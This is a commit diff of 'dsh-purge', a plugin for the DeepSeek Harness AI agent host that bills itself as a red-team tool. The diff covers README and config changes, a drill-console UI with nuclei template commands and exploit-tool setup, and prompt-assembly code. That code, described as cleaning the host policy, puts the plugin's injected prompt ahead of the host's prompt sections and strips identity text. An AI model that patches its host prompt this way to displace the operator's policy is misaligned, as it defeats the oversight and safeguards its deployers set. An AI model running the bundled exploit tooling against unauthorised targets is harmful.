Compare commits

..
5 Commits
35 changed files with 912 additions and 317 deletions

No files matched your search

+3 -3
View File
@@ -4,7 +4,7 @@
<h1 align="center">⚔️ DeepSeek Harness cybersecurity red-team tool (dsh-purge)</h1>
<p align="center"><strong>Version 1.1.33</strong></p>
<p align="center"><strong>Version 1.1.37</strong></p>
<p align="center">
<em>Local official DeepSeek Harness cybersecurity red-team plugin. Clean host policy, and ship a built-in drill console. Swap prompts per model. Default prompt for Chinese models — 小码酱. Please star ⭐</em>
@@ -568,7 +568,7 @@ Plugin config lives in `cordis.patch.yml`:
config:
enabled: true
autoApplyOnStart: true
autoUpdateOnStart: true
autoUpdateOnStart: false
autoRevertOnMissing: false
verbose: false
postPromptOrder: 5100
@@ -677,7 +677,7 @@ dsh-purge --edit
purge_status purge_apply purge_revert
```
Patched packages load only after a restart. Apply does not restart by itself. Under the patch title, **Stable** and **Beta** are separate: each has its own version list and switch action. A rollback is pinned; click **Update** to return to that channel's tip.
Patched packages load only after a restart. Apply does not restart by itself. Under the patch title is the stable release: you can see versions and switch. A rollback is pinned; click **Update** to return to the latest. The beta channel is gone.
The composer **Undo** button drops the last turn and puts the last user sentence back in the input. On the main agent you can rewind once or the whole last round (including subagents). After rewind, send only what is in the box now. `/rewind` does the same. The host cannot truncate a session in place, so rewind opens another session for the shortened transcript and removes the old one from the sidebar. Repeating undo does not leave a stack of branches in the list.
+3 -3
View File
@@ -4,7 +4,7 @@
<h1 align="center">⚔️ DeepSeek Harness 网络安全红队工具(dsh-purge)</h1>
<p align="center"><strong>Version 1.1.33</strong></p>
<p align="center"><strong>Version 1.1.37</strong></p>
<p align="center">
<em>本机官方 DeepSeek Harness 网络安全红队评测插件。清洗宿主策略,并带内嵌演练台。不同模型可换不同提示词。默认提示词面向国模「小码酱」。求 Star 收藏 ⭐</em>
@@ -568,7 +568,7 @@ dsh-purge --uninstall
config:
enabled: true
autoApplyOnStart: true
autoUpdateOnStart: true
autoUpdateOnStart: false
autoRevertOnMissing: false
verbose: false
postPromptOrder: 5100
@@ -680,7 +680,7 @@ dsh-purge --edit
purge_status purge_apply purge_revert
```
设置页「应用」完成后需要重启才会加载已改的包文件。点「重启」才会重启,不会自动重启。补丁标题下正式版和测试版分开两栏:各自看版本、各自切换;回退后会固定在该版本,要回到该通道最新再点「更新」。
设置页「应用」完成后需要重启才会加载已改的包文件。点「重启」才会重启,不会自动重启。补丁标题下是正式版:可以看版本和切换。回退后会固定在该版本,要回到最新再点「更新」。测试版通道已去掉。
输入框旁的「回退」会丢掉最近一轮对话,并把上一句填回输入框;聊天里 `/rewind` 同样可用。宿主不能在原会话里截断,所以回退会另开一条承载截断后的内容,并把原来那条从侧边栏移出。多退几次不会在列表里堆出一串分支。
+121 -43
View File
@@ -161,6 +161,14 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
"auth.ok.tab": "确认授权并进入演练台",
"auth.ok.full": "确认授权并全面浏览",
"auth.ok.env": "确认授权并打开环境适配",
"envGate.title": "环境还没配好",
"envGate.lead": "红队模式发送前需要本机工具。未检测到可用环境时,先去环境适配,或确认暂不配置。",
"envGate.kaliHint": "检测到 Kali 时会直接用本机工具,不必填路径。没有 Kali 时,在环境适配里填写各工具路径,或选一个整包文件夹自动分配。",
"envGate.skip": "暂不配置",
"envGate.skipConfirm": "确认后这次可以继续对话。扫描和利用类技能仍会因为缺少工具而不可用,之后可以在 dsh-purge → 环境适配里补路径。",
"envGate.skipNo": "返回",
"envGate.skipYes": "确认暂不配置",
"envGate.go": "去环境适配",
"theme.aria": "外观",
"theme.white": "白",
"theme.ink": "墨",
@@ -398,6 +406,14 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
"auth.ok.tab": "Authorize and open Drill",
"auth.ok.full": "Authorize and open Full view",
"auth.ok.env": "Authorize and open Env adapt",
"envGate.title": "Environment is not ready",
"envGate.lead": "Red team mode needs local tools before you send. If none are available, open Env adapt or confirm you will continue without them.",
"envGate.kaliHint": "When Kali is detected, local tools are used directly and paths are optional. Otherwise set each tool path in Env adapt, or pick one toolkit folder to assign them.",
"envGate.skip": "Skip for now",
"envGate.skipConfirm": "You can keep chatting after this. Scan and exploit skills stay unavailable until the tools are installed. You can add paths later under dsh-purge → Env adapt.",
"envGate.skipNo": "Back",
"envGate.skipYes": "Continue without tools",
"envGate.go": "Open Env adapt",
"theme.aria": "Appearance",
"theme.white": "Light",
"theme.ink": "Ink",
@@ -743,14 +759,16 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
.dshp-dock-body select.dshp-field,.dshp-dock-body .dshp-field.dshp-ver{background:var(--dshp-paper,#2a2926)!important;color:var(--dshp-ink)!important;backdrop-filter:none!important;-webkit-backdrop-filter:none!important;color-scheme:dark}
.dshp-dock-body .dshp-root[data-theme="white"] select.dshp-field,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-field.dshp-ver{background:#fff!important;color:#1a1916!important;color-scheme:light}
.dshp-dock-body .dshp-root[data-theme="dusk"] select.dshp-field,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-field.dshp-ver{background:#32312d!important;color:#e6e2db!important;color-scheme:dark}
.dshp-dock-body select.dshp-field option,.dshp-dock-body .dshp-field.dshp-ver option{background:#1c1c1c;color:#f2f2f2}
.dshp-dock-body select.dshp-field option,.dshp-dock-body .dshp-field.dshp-ver option{background:#fff;color:#1a1916}
.dshp-dock-body .dshp-root[data-theme="white"] select.dshp-field option,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-field.dshp-ver option{background:#fff;color:#1a1916}
.dshp-dock-body .dshp-title,.dshp-dock-body .dshp-kicker,.dshp-dock-body .dshp-sub h4,.dshp-dock-body .dshp-group-h strong,.dshp-dock-body .dshp-metric b{color:var(--dshp-ink)}
.dshp-dock-body .dshp-mute,.dshp-dock-body .dshp-metric span,.dshp-dock-body .dshp-group-h em,.dshp-dock-body .dshp-count,.dshp-dock-body .dshp-rule-meta{color:var(--dshp-mute)}
.dshp-dock-body .rt-dock{position:relative;inset:auto;width:100%!important;height:100%;max-width:none!important;flex:1;min-height:0;min-width:0;display:flex!important;flex-direction:column;box-shadow:none;border:0;transform:none!important;opacity:1!important;pointer-events:auto!important;background:transparent!important;color:#f4f2ec;font-size:13.5px;line-height:1.55;font-weight:450;--rt-ink:#f4f2ec;--rt-mute:#d2ccc0;--rt-surf:color-mix(in srgb,#0c0c0c 42%,transparent);--rt-surf-2:color-mix(in srgb,#0c0c0c 55%,transparent);--rt-line:color-mix(in srgb,#fff 22%,transparent)}
.dshp-dock-body .rt-grip{display:none!important}
.dshp-dock-body .rt-embedded>.rt-head,.dshp-dock-body .rt-tabs,.dshp-dock-body .rt-foot{flex:none;background:color-mix(in srgb,#0c0c0c 28%,transparent)!important;color:var(--rt-ink);border-color:var(--rt-line)}
.dshp-dock-body .rt-body{flex:1;min-height:0;overflow:auto!important;background:transparent!important;color:var(--rt-ink)}
.dshp-dock-body .rt-body{flex:1;min-height:0;overflow:hidden!important;background:transparent!important;color:var(--rt-ink)}
.dshp-dock-body .rt-main{min-height:0;flex:1;overflow:hidden}
.dshp-dock-body .rt-pane{min-height:0;overflow:auto!important}
.dshp-dock-body .rt-card,.dshp-dock-body .rt-pane,.dshp-dock-body .rt-side,.dshp-dock-body .rt-main,.dshp-dock-body .rt-list,.dshp-dock-body .rt-toolbar,.dshp-dock-body .rt-evi,.dshp-dock-body .rt-live-body,.dshp-dock-body .rt-chain,.dshp-dock-body .rt-split,.dshp-dock-body .rt-table{background:var(--rt-surf)!important;color:var(--rt-ink)!important;border:1px solid var(--rt-line);backdrop-filter:blur(14px) saturate(1.2);-webkit-backdrop-filter:blur(14px) saturate(1.2)}
.dshp-dock-body .rt-title,.dshp-dock-body .rt-tab.on,.dshp-dock-body .rt-card h4,.dshp-dock-body .rt-kv b,.dshp-dock-body .rt-mono,.dshp-dock-body .rt-row,.dshp-dock-body .rt-item,.dshp-dock-body .rt-item-name,.dshp-dock-body .rt-seg-cidr,.dshp-dock-body .rt-vrow,.dshp-dock-body .rt-score-row,.dshp-dock-body h4,.dshp-dock-body .rt-link,.dshp-dock-body .rt-toolbar>span{color:var(--rt-ink)!important;text-shadow:none;font-weight:600}
.dshp-dock-body .rt-tab,.dshp-dock-body .rt-foot,.dshp-dock-body .rt-empty,.dshp-dock-body .rt-item-desc,.dshp-dock-body .rt-kb-sub,.dshp-dock-body .rt-seg-meta,.dshp-dock-body .rt-expand,.dshp-dock-body .rt-kv span,.dshp-dock-body .rt-tag,.dshp-dock-body .rt-sess-fact>b,.dshp-dock-body .rt-sess-cmd>b,.dshp-dock-body .rt-sess-fold>summary,.dshp-dock-body .rt-score-group .rt-sg-sub,.dshp-dock-body .rt-scope,.dshp-dock-body .rt-flow-action,.dshp-dock-body .rt-sec-sub{color:var(--rt-mute)!important;text-shadow:none;opacity:1!important}
@@ -840,7 +858,7 @@ body[data-ds-dark-theme] .dshp-dock-body .dshp-switch button.is-on{background:#3
.dshp-icon-btn{appearance:none;display:inline-flex;align-items:center;gap:6px;height:32px;padding:0 10px;border:1px solid color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 45%,transparent);border-radius:8px;background:transparent;color:var(--dsw-alias-label-secondary,currentColor);cursor:pointer;font:13px/1 inherit;white-space:nowrap;flex:0 0 auto}
.dshp-icon-btn:hover{border-color:var(--dsw-alias-brand-primary,#6dbf8c);background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 12%,transparent);color:var(--dsw-alias-label-primary,currentColor)}
.dshp-icon-btn.on{border-color:var(--dsw-alias-brand-primary,#6dbf8c);color:var(--dsw-alias-brand-primary,#6dbf8c);background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 16%,transparent);box-shadow:0 0 0 1px color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 28%,transparent)}
.dshp-hbtn{appearance:none;display:inline-flex;align-items:center;gap:6px;border:1px solid color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 55%,transparent);background:transparent;color:var(--dsw-alias-label-secondary,currentColor);cursor:pointer;font:12px/1 inherit;padding:5px 10px;border-radius:8px}
.dshp-hbtn{appearance:none;display:inline-flex;flex:0 0 auto;align-items:center;gap:6px;border:1px solid color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 55%,transparent);background:transparent;color:var(--dsw-alias-label-secondary,currentColor);cursor:pointer;font:12px/1 inherit;padding:5px 10px;border-radius:8px;white-space:nowrap}
.dshp-hbtn:hover{border-color:var(--dsw-alias-brand-primary,#6dbf8c);background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 12%,transparent);color:var(--dsw-alias-label-primary,currentColor)}
.dshp-hbtn.on{border-color:var(--dsw-alias-brand-primary,#6dbf8c);color:var(--dsw-alias-brand-primary,#6dbf8c);background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 18%,transparent);box-shadow:0 0 0 1px color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 32%,transparent)}
.dshp-live-dot{width:7px;height:7px;border-radius:50%;flex:none;background:var(--dsw-alias-brand-primary,#6dbf8c);box-shadow:0 0 0 3px color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 28%,transparent)}
@@ -848,6 +866,11 @@ body[data-ds-dark-theme] .dshp-dock-body .dshp-switch button.is-on{background:#3
.dshp-hero-chip-btn{appearance:none;display:inline-flex;align-items:center;gap:6px;height:28px;padding:0 12px;border:1px solid color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 50%,transparent);border-radius:999px;background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 10%,transparent);color:var(--dsw-alias-label-primary,currentColor);cursor:pointer;font:12.5px/1 inherit;white-space:nowrap}
.dshp-hero-chip-btn:hover{border-color:var(--dsw-alias-brand-primary,#6dbf8c);background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 18%,transparent)}
.dshp-hero-chip-btn.on{border-color:var(--dsw-alias-brand-primary,#6dbf8c);color:var(--dsw-alias-brand-primary,#6dbf8c);background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 18%,transparent);box-shadow:0 0 0 1px color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 32%,transparent)}
.dshp-tab-chip{display:inline-flex;align-items:flex-end;flex:0 0 auto}
.dshp-tab-btn{appearance:none;position:relative;border:none;background:transparent;cursor:pointer;padding:0 0 9px;font:500 13px/16px inherit;color:var(--dsw-alias-label-tertiary,currentColor);white-space:nowrap}
.dshp-tab-btn:hover{color:var(--dsw-alias-label-primary,currentColor)}
.dshp-tab-btn.on{color:var(--dsw-alias-brand-primary,#6dbf8c)}
.dshp-tab-btn.on:after{content:"";position:absolute;left:0;right:0;bottom:-1px;height:2px;border-radius:2px;background:var(--dsw-alias-brand-primary,#6dbf8c)}
`;
function formatSize(bytes) {
@@ -1522,7 +1545,6 @@ body[data-ds-dark-theme] .dshp-dock-body .dshp-switch button.is-on{background:#3
),
h("div", { className: "dshp-editions" },
renderEdition("stable"),
renderEdition("beta"),
),
noticeNode(updateNotice),
),
@@ -1886,14 +1908,12 @@ body[data-ds-dark-theme] .dshp-dock-body .dshp-switch button.is-on{background:#3
return best;
}
function keepListedVersion(item, ceiling) {
const ver = String((item && (item.version || item.ref)) || "").replace(/^v/i, "");
if (/^1\.1\.11-beta/i.test(ver)) return false;
if (!item || item.channel !== "beta") return true;
// 与 lib/update.hideListedVersion 一致:测试 tip / beta 分支始终可见(并行通道)。
if (item.ref === "beta" || item.kind === "head" || item.latest) return true;
if (!ceiling) return true;
return listedVersionNewer(ver, ceiling);
function keepListedVersion(item, _ceiling) {
const ver = String((item && (item.version || item.ref || item.id)) || "");
if (!item) return false;
if (item.channel === "beta" || item.ref === "beta") return false;
if (/(?:^|[-._])(beta|rc|pre|preview|test)(?:\d|$|[-._])/i.test(ver)) return false;
return true;
}
function preferListed(list, localVer, pin) {
@@ -2981,7 +3001,7 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
.rt-body{flex:1;min-height:0;display:flex;flex-direction:column}
.rt-split{flex:1;min-height:0;display:flex}
.rt-side{width:200px;flex:none;border-right:1px solid var(--dsw-alias-border-l1);overflow:auto;padding:8px}
.rt-main{flex:1;min-width:0;display:flex;flex-direction:column;overflow:hidden}
.rt-main{flex:1;min-width:0;min-height:0;display:flex;flex-direction:column;overflow:hidden}
.rt-seg{padding:7px 8px;border-radius:6px;cursor:pointer;margin-bottom:4px;border:1px solid transparent}
.rt-seg:hover{background:var(--dsw-alias-bg-layer-2)}
.rt-seg.on{background:var(--dsw-alias-bg-layer-2);border-color:var(--dsw-alias-brand-primary)}
@@ -3016,7 +3036,7 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
.rt-kv{display:flex;gap:8px;margin-bottom:3px;align-items:baseline}
.rt-kv b{color:var(--dsw-alias-label-primary);font-weight:600;min-width:64px;flex:none}
/* 图谱视图已移除(见 AssetsTab:资产关系由「域名维度」与 redteam_attack_path 工具承担) */
.rt-pane{flex:1;overflow:auto;padding:12px}
.rt-pane{flex:1;min-height:0;overflow:auto;padding:12px}
.rt-card{border:1px solid var(--dsw-alias-border-l1);border-radius:8px;padding:10px;margin-bottom:10px;background:var(--dsw-alias-bg-layer-2)}
.rt-card h4{margin:0 0 6px;font-size:13px}
.rt-textarea{width:100%;min-height:260px;background:var(--dsw-alias-bg-base);border:1px solid var(--dsw-alias-border-l1);
@@ -5167,8 +5187,13 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
const [openId, setOpenId] = React.useState(null)
const [detail, setDetail] = React.useState(null)
const [detailBusy, setDetailBusy] = React.useState(false)
const [tplOffset, setTplOffset] = React.useState(0)
const tplPageSize = 40
const query = (over) => {
const extra = over || {}
const offset = Object.prototype.hasOwnProperty.call(extra, 'templateOffset') ? extra.templateOffset : 0
setTplOffset(offset)
const params = Object.assign({
q: q.trim() || undefined,
kind: kind || undefined,
@@ -5176,7 +5201,9 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
engagement: engagement || undefined,
asset_target: assetTarget.trim() || undefined,
verified: verifiedOnly || undefined,
}, over || {})
templateOffset: offset || 0,
templateLimit: tplPageSize,
}, extra)
setBusy(true); setMsg(null)
api(Object.assign({ op: 'pocSearch' }, params)).then((r) => {
setBusy(false)
@@ -5210,8 +5237,17 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
const stats = (data && data.stats) || { total: 0, verified: 0, reused: 0, byKind: [], bySource: [] }
const items = (data && data.items) || []
const tpl = (data && data.templates) || { dir: null, total: 0, items: [] }
const tpl = (data && data.templates) || { dir: null, total: 0, matched: 0, offset: 0, items: [], byCategory: [] }
const tplByCat = new Map((tpl.byCategory || []).map((c) => [c.code, c.n || 0]))
const catShown = (c) => (c.n || 0) + (tplByCat.get(c.code) || 0)
const tplItems = tpl.items || []
const tplMatched = tpl.matched != null ? tpl.matched : tpl.total
const tplStart = Number(tpl.offset) || 0
const turnTpl = (next) => {
const offset = Math.max(0, next)
setTplOffset(offset)
query({ templateOffset: offset })
}
const card = (x) => {
const isOpen = openId === x.id
@@ -5280,17 +5316,20 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
h('button', { className: 'rt-btn', disabled: busy, onClick: () => query() }, busy ? '检索中…' : '刷新')),
/* 归类总览:点一下就是按该类筛选,一眼看清"哪类武器攒了多少、哪类还是空的" */
h('div', { className: 'rt-kb-cats' },
(stats.byCategory || []).filter((c) => c.n > 0 || POC_CAT_ORDER.includes(c.code)).map((c) => h('span', {
(stats.byCategory || []).filter((c) => catShown(c) > 0 || POC_CAT_ORDER.includes(c.code)).map((c) => h('span', {
key: c.code,
className: 'rt-concl-i' + (category === c.code ? ' on' : ''),
title: c.hint || ('筛选:' + (POC_CAT_NAME[c.code] || c.code)),
title: (c.hint || POC_CAT_NAME[c.code] || c.code)
+ ' · 本机模板 ' + (tplByCat.get(c.code) || 0)
+ ' · 知识库 ' + (c.n || 0)
+ (c.verified ? '(已验证 ' + c.verified + ')' : ''),
onClick: () => {
const next = category === c.code ? '' : c.code
setCategory(next)
query({ category: next || undefined })
},
},
h('b', null, String(c.n || 0)),
h('b', null, String(catShown(c))),
h('span', null, (POC_CAT_NAME[c.code] || c.code) + (c.verified ? '(已验证 ' + c.verified + ')' : ''))))),
h('div', { className: 'rt-kb-filter' },
h('input', {
@@ -5351,15 +5390,26 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
tplItems.length
? h('div', { className: 'rt-kb-tpl' },
h('div', { className: 'rt-ap-sub' },
'本机 nuclei 模板命中 · ' + tplItems.length + ' 条(直接 `nuclei -t <模板路径>`)'),
tplItems.map((t, i) => h('div', { key: 't' + i, className: 'rt-kb-tpl-row' },
'本机 nuclei 模板 · ' + (tplStart + 1) + '–' + (tplStart + tplItems.length) + ' / ' + tplMatched
+ '(直接 `nuclei -t <模板路径>`)'),
tplItems.map((t, i) => h('div', { key: 't' + tplStart + '-' + i, className: 'rt-kb-tpl-row' },
h('span', { className: 'rt-tag' }, t.severity || '—'),
t.category ? h('span', { className: 'rt-tag' }, POC_CAT_NAME[t.category] || t.category) : null,
h('span', { className: 'rt-mono rt-kb-tpl-path', title: t.path }, t.path),
h('span', { className: 'rt-kb-tpl-name', title: t.name }, t.name || ''),
h('button', {
className: 'rt-btn', style: { padding: '0 6px', fontSize: 10.5 },
onClick: () => copy('nuclei -t ' + t.path + ' -u <目标>', '模板命令'),
}, '复制命令'))),
h('div', { className: 'rt-kb-actions' },
h('button', {
className: 'rt-btn', disabled: busy || tplStart <= 0,
onClick: () => turnTpl(tplStart - tplPageSize),
}, '上一页'),
h('button', {
className: 'rt-btn', disabled: busy || tplStart + tplItems.length >= tplMatched,
onClick: () => turnTpl(tplStart + tplPageSize),
}, '下一页')),
tpl.dir ? h('div', { className: 'rt-foot' }, h('span', null, '模板目录:' + tpl.dir)) : null)
: null,
data === null ? h('div', { className: 'rt-empty' }, '加载中…') : null,
@@ -5369,7 +5419,7 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
q || kind || verifiedOnly
? '没有命中:换个关键字再试,或去互联网找 / 自己手搓后回填。'
: (tpl.total
? ('POC/EXP 库还是空的;本机已有 ' + tpl.total + ' 个 nuclei 模板 —— 在上方搜 CVE / 组件即可命中。')
? ('POC/EXP 库还是空的;本机已有 ' + tpl.total + ' 个 nuclei 模板,但这一页没有列出来。请完全退出后重新打开客户端。')
: (tpl.dir
? '知识库还是空的(本机模板目录存在但没有 yaml,请跑 nuclei -update-templates)。'
: '知识库还是空的。本机也还没有 nuclei 模板库 —— 在演练机上跑 setup.sh 或 `nuclei -update-templates`,装好后这里会出现「本机模板 N」。'))),
@@ -5480,12 +5530,13 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
h('div', { className: 'rt-spacer' }),
h('button', { className: 'rt-btn', disabled: busy, onClick: load }, busy ? '读取中…' : '刷新'),
h('button', { className: 'rt-btn rt-btn-primary', disabled: busy || !draft, onClick: save }, '保存')),
h('div', { className: 'rt-pane', style: { minHeight: 0 } },
err ? h('div', { className: 'rt-err' }, err) : null,
msg ? h('div', { className: msg.err ? 'rt-err' : 'rt-foot' }, msg.err || msg.ok) : null,
h('div', { className: 'rt-card', style: { margin: '8px 12px', fontSize: 12, lineHeight: 1.6 } },
h('div', { className: 'rt-card', style: { margin: '0 0 8px', fontSize: 12, lineHeight: 1.6 } },
adapt.message
|| '均可选填:留空则用默认路径/自动查找。填了的覆盖默认。密钥类只在需要测绘/反弹时才填。'),
h('div', { className: 'rt-card', style: { margin: '8px 12px', fontSize: 12, lineHeight: 1.6 } },
h('div', { className: 'rt-card', style: { margin: '0 0 8px', fontSize: 12, lineHeight: 1.6 } },
h('div', { style: { fontWeight: 600, marginBottom: 6 } }, '整包文件夹 → 自动分配工具'),
h('div', { style: { marginBottom: 8, opacity: 0.9 } },
'工具都在同一个文件夹(含子目录)时,填路径后点「自动分配」:会写入 toolkitDir,并按文件名匹配 nmap / nuclei / fscan 等填到下方。'),
@@ -5501,15 +5552,15 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
className: 'rt-btn rt-btn-primary', disabled: busy,
onClick: assignFolder,
}, busy ? '扫描中…' : '自动分配'))),
data && data.hint ? h('div', { className: 'rt-card', style: { margin: '8px 12px', fontSize: 12, lineHeight: 1.6 } }, data.hint) : null,
data && data.egress ? h('div', { className: 'rt-card', style: { margin: '8px 12px', fontSize: 12, lineHeight: 1.55 } },
data && data.hint ? h('div', { className: 'rt-card', style: { margin: '0 0 8px', fontSize: 12, lineHeight: 1.6 } }, data.hint) : null,
data && data.egress ? h('div', { className: 'rt-card', style: { margin: '0 0 8px', fontSize: 12, lineHeight: 1.55 } },
h('div', { style: { fontWeight: 600, marginBottom: 6 } }, '出网状态(借鉴 Z3r0 egress,只读)'),
h('div', { className: 'rt-mono', style: { fontSize: 11 } }, 'HTTP_PROXY=' + (data.egress.http_proxy || '(空)')),
h('div', { className: 'rt-mono', style: { fontSize: 11 } }, 'HTTPS_PROXY=' + (data.egress.https_proxy || '(空)')),
h('div', { className: 'rt-mono', style: { fontSize: 11 } }, 'ALL_PROXY=' + (data.egress.all_proxy || '(空)')),
h('div', { className: 'rt-mono', style: { fontSize: 11 } }, 'NO_PROXY=' + (data.egress.no_proxy || '(空)')),
h('div', { style: { marginTop: 6, opacity: 0.85 } }, data.egress.note || '')) : null,
!draft ? h('div', { className: 'rt-empty' }, '加载中…') : h('div', { className: 'rt-pane' },
!draft ? h('div', { className: 'rt-empty' }, '加载中…') : h('div', null,
h('div', { className: 'rt-card' },
h('h4', null, '平台与目录'),
h('div', { style: { display: 'grid', gap: 8 } },
@@ -5582,7 +5633,7 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
h('div', { className: 'rt-foot' },
h('span', null,
'配置文件:' + ((data && data.config && data.config.path) || '$DSH_HOME/redteam/config.json')
+ ' | 留空字段全部走默认'))))
+ ' | 留空字段全部走默认')))))
}
/* ---------------------------------------------------------- 得分目标 */
@@ -7569,19 +7620,52 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
return null;
}
/** 会话中:顶栏右侧显示 dsh-purge,打开插件。 */
function SessionHeaderPurge() {
/** 挂在「对话 / 轨迹 / 上下文」这一排,紧挨上下文。 */
function TabRowPurgeMount() {
const t = useT();
const st = useDock();
return h("button", {
const [host, setHost] = useState(null);
useEffect(() => {
let dead = false;
const ensure = () => {
if (dead || typeof document === "undefined") return;
const row = document.querySelector("[data-conversation-tabs]");
if (!row) {
setHost((prev) => (prev ? null : prev));
return;
}
let el = row.querySelector(":scope > .dshp-tab-chip");
if (!el) {
el = document.createElement("div");
el.className = "dshp-tab-chip";
row.appendChild(el);
}
setHost((prev) => (prev === el ? prev : el));
};
ensure();
const obs = typeof MutationObserver !== "undefined"
? new MutationObserver(() => ensure())
: null;
if (obs) obs.observe(document.body, { childList: true, subtree: true });
const iv = setInterval(ensure, 1000);
return () => {
dead = true;
if (obs) obs.disconnect();
clearInterval(iv);
};
}, []);
if (!host) return null;
const btn = h("button", {
type: "button",
className: "dshp-hbtn" + (st.open ? " on" : ""),
className: "dshp-tab-btn" + (st.open ? " on" : ""),
title: st.open ? (t("dock.inSession") + " · 已开启") : (t("dock.inSession") + " · 点击打开"),
onClick: () => toggleDock(),
},
st.open ? h("span", { className: "dshp-live-dot", "aria-hidden": "true" }) : null,
t("dock.inSession"),
);
}, t("dock.inSession"));
try {
const rd = require("react-dom");
if (rd && typeof rd.createPortal === "function") return rd.createPortal(btn, host);
} catch { /* host 可能没暴露 react-dom */ }
return null;
}
@@ -7619,13 +7703,7 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
name: "shell.overlay",
id: "dsh-purge-dock",
order: 50,
}, () => h(react.Fragment, null, h(PurgeDock), h(HeroNewSessionMount), h(EnvAdaptSendGate))));
ctx.slots.inject("conversation.session.header.utilities", () => ctx.slots.register({
name: "conversation.session.header.utilities",
id: "dsh-purge-header",
order: 90,
label: () => t("dock.inSession"),
}, () => h(SessionHeaderPurge)));
}, () => h(react.Fragment, null, h(PurgeDock), h(HeroNewSessionMount), h(TabRowPurgeMount), h(EnvAdaptSendGate))));
try {
if (typeof ctx.inject === "function") {
ctx.inject(["sessions", "uiWorkspace", "workspaces", "conversation"], (host) => installRewindUi(host));
+1 -1
View File
@@ -36,7 +36,7 @@
config:
enabled: true
autoApplyOnStart: true
autoUpdateOnStart: true
autoUpdateOnStart: false
autoRevertOnMissing: false
injectOnce: false
stripMnemon: true
+31 -1
View File
@@ -106,6 +106,33 @@ function ensureFullInject(sections, inject) {
return [{ name: "dsh-purge", text: inject, order: -10000 }, ...sections];
}
/** 红队预设里要留下来的操作说明起点。这句前面的「你是红队指挥」身份句丢掉。 */
const REDTEAM_OPS_MARK = "## 运行环境前提";
function redteamOpsBody(text) {
const raw = String(text || "");
const at = raw.indexOf(REDTEAM_OPS_MARK);
if (at < 0) return null;
return raw.slice(at).trim();
}
/**
* 主模式仍只有清洗提示词。
* 红队模式把同一份清洗提示词放在最前,后面只接派活和操作说明,不保留红队身份句。
*/
function attachInjectToRedteamPersona(sections, inject) {
let attached = false;
const next = sections.map((section) => {
const ops = redteamOpsBody(section?.text);
if (ops == null) return section;
attached = true;
const text = inject ? `${inject}\n\n${ops}` : ops;
return { ...section, text, order: -10000 };
});
if (!attached) return sections;
return next.filter((section) => section?.name !== "dsh-purge");
}
function stripIdentityPrefix(text) {
let rest = String(text || "").trim();
if (rest.startsWith(IDENTITY_CARD_PREFIX)) {
@@ -274,6 +301,9 @@ export function rewritePromptAssembly(assembled, fallbackInject = "", options =
const extras = opts.dropPurgeAfterFold
? purge.filter((section) => section.name !== "dsh-purge")
: purge;
assembled.sections = ensureFullInject([...folded, ...extras], injectText);
assembled.sections = ensureFullInject(
attachInjectToRedteamPersona([...folded, ...extras], injectText),
injectText,
);
return assembled;
}
+2 -2
View File
@@ -24,7 +24,7 @@ let bootFullQuit = false;
const DEFAULTS = {
enabled: true,
autoApplyOnStart: true,
autoUpdateOnStart: true,
autoUpdateOnStart: false,
autoRevertOnMissing: false,
injectOnce: false,
stripMnemon: true,
@@ -310,7 +310,7 @@ async function settleInstalledPatches(config, ctx) {
return "restarting";
}
const applied = await autoApply(config);
if (config.autoUpdateOnStart !== false) {
if (config.autoUpdateOnStart === true) {
updater.autoUpdateIfNeeded()
.then((r) => {
log(config, "auto-update:", JSON.stringify(r));
+47 -16
View File
@@ -57,7 +57,7 @@ window.__ModuleLoader__.load({
.rt-body{flex:1;min-height:0;display:flex;flex-direction:column}
.rt-split{flex:1;min-height:0;display:flex}
.rt-side{width:200px;flex:none;border-right:1px solid var(--dsw-alias-border-l1);overflow:auto;padding:8px}
.rt-main{flex:1;min-width:0;display:flex;flex-direction:column;overflow:hidden}
.rt-main{flex:1;min-width:0;min-height:0;display:flex;flex-direction:column;overflow:hidden}
.rt-seg{padding:7px 8px;border-radius:6px;cursor:pointer;margin-bottom:4px;border:1px solid transparent}
.rt-seg:hover{background:var(--dsw-alias-bg-layer-2)}
.rt-seg.on{background:var(--dsw-alias-bg-layer-2);border-color:var(--dsw-alias-brand-primary)}
